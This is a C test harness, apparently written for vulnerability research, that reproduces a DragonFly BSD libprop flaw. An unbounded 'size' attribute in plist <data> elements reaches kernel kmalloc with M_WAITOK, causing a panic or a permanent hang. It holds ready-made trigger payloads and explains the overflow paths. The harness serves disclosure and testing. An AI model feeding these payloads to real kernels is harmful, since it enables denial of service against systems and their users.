DF-5680 / df5680_userland.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 | /* * DF-5680 โ userland differential harness against the SAME libprop source * that is compiled into the DragonFly kernel (/usr/src/sys/libprop, built * by build.sh as proporig/libprop_orig.so). * * Defect under test: _prop_data_internalize() takes the blob length from * the attacker-controlled XML attribute * * <data size="N">base64...</data> * * via strtoul() (prop_data.c:572) and feeds `len + 1` straight into * _PROP_MALLOC(len + 1, M_PROP_DATA) == kmalloc(len+1, M_PROP_DATA, * M_WAITOK) in the kernel (prop_data.c:588), with NO upper bound and with * the ERANGE overflow check compiled out in-kernel (prop_data.c:573-576, * "#ifndef _KERNEL"). * * Userland maps _PROP_MALLOC to plain malloc(): huge sizes fail cleanly * (NULL -> internalize returns NULL -> prop_dictionary_internalize NULL). * The kernel maps them to M_WAITOK semantics where failure is either * * panic("kmem_slab_alloc(): kernel_map ran out of space!") (size >= * kernel_map KVA span, kern_slaballoc.c:1723-1724 โ M_WAITOK does not * include M_NULLOK), or * * an unkillable vm_wait(0) retry loop (size > physical RAM, * kern_slaballoc.c:1792-1800), * neither of which is a returnable error. * * usage: ./df5680_userland <scenario> * scenarios: roundtrip | sizeattr | huge | neg1 | overflow | hang */ #include <errno.h> #include <limits.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <libprop/proplib.h> static const char *HDR = "<plist version=\"1.0\"><dict><key>a</key>"; static const char *FTR = "</dict></plist>"; static char * mkxml(const char *dataelem, size_t *lenp) { size_t hl = strlen(HDR), fl = strlen(FTR), dl = strlen(dataelem); char *xml = malloc(hl + dl + fl + 1); if (xml == NULL) abort(); memcpy(xml, HDR, hl); memcpy(xml + hl, dataelem, dl); memcpy(xml + hl + dl, FTR, fl + 1); *lenp = hl + dl + fl; return (xml); } static void run_internalize(const char *tag, const char *dataelem) { prop_dictionary_t dict; prop_data_t pd; char *xml; size_t len; xml = mkxml(dataelem, &len); errno = 0; dict = prop_dictionary_internalize(xml); if (dict == NULL) { printf("%-9s: len=%zu internalize -> NULL (errno=%d) " "โ clean rejection, process alive\n", tag, len, errno); } else { pd = prop_dictionary_get(dict, "a"); if (pd == NULL || prop_object_type((prop_object_t)pd) != PROP_TYPE_DATA) { printf("%-9s: dict OK but no data value?!\n", tag); } else { void *v = prop_data_data(pd); printf("%-9s: dict OK data size=%zu val='%s'\n", tag, prop_data_size(pd), v ? (char *)v : "(null)"); free(v); } prop_object_release(dict); } free(xml); } int main(int argc, char **argv) { const char *sc = argc > 1 ? argv[1] : "huge"; if (strcmp(sc, "roundtrip") == 0) { /* rig sanity: plain base64 data round-trips */ run_internalize("roundtrip", "<data>SGVsbG8=</data>"); return (0); } if (strcmp(sc, "sizeattr") == 0) { /* rig sanity: honest size attribute works, size==5 */ run_internalize("sizeattr", "<data size=\"5\">SGVsbG8=</data>"); return (0); } if (strcmp(sc, "huge") == 0) { /* 2^63: userland malloc fails -> NULL; kernel PANICS */ run_internalize("huge", "<data size=\"9223372036854775808\">QQ==</data>"); return (0); } if (strcmp(sc, "neg1") == 0) { /* * "-1": strtoul returns ULONG_MAX *without* ERANGE (C99: * negation is in-range modulo 2^64), so the errno guard at * prop_data.c:574 does NOT fire even in userland; * len+1 wraps to 0 -> malloc(0) succeeds -> decode pass * with targsize==0 rejects -> NULL. In the kernel the same * wrap reaches kmalloc(0) == ZERO_LENGTH_PTR (non-NULL, * kern_slaballoc.c:888-891) โ today still contained by the * targsize==0 checks in the decoder, but only by luck. */ run_internalize("neg1", "<data size=\"-1\">QQ==</data>"); return (0); } if (strcmp(sc, "overflow") == 0) { /* * 30 nines: strtoul saturates to ULONG_MAX WITH ERANGE -> * userland rejects at prop_data.c:574. In the kernel the * ERANGE check is COMPILED OUT (#ifndef _KERNEL), so the * kernel takes the same len=SIZE_MAX -> kmalloc(0) path. */ run_internalize("overflow", "<data size=\"999999999999999999999999999999\">" "QQ==</data>"); return (0); } if (strcmp(sc, "hang") == 0) { /* 8 GiB on a 4 GiB guest: userland malloc fails -> NULL; * kernel wedges forever in vm_wait(0) (M_WAITOK). */ run_internalize("hang", "<data size=\"8589934592\">QQ==</data>"); return (0); } fprintf(stderr, "unknown scenario %s\n", sc); return (2); } |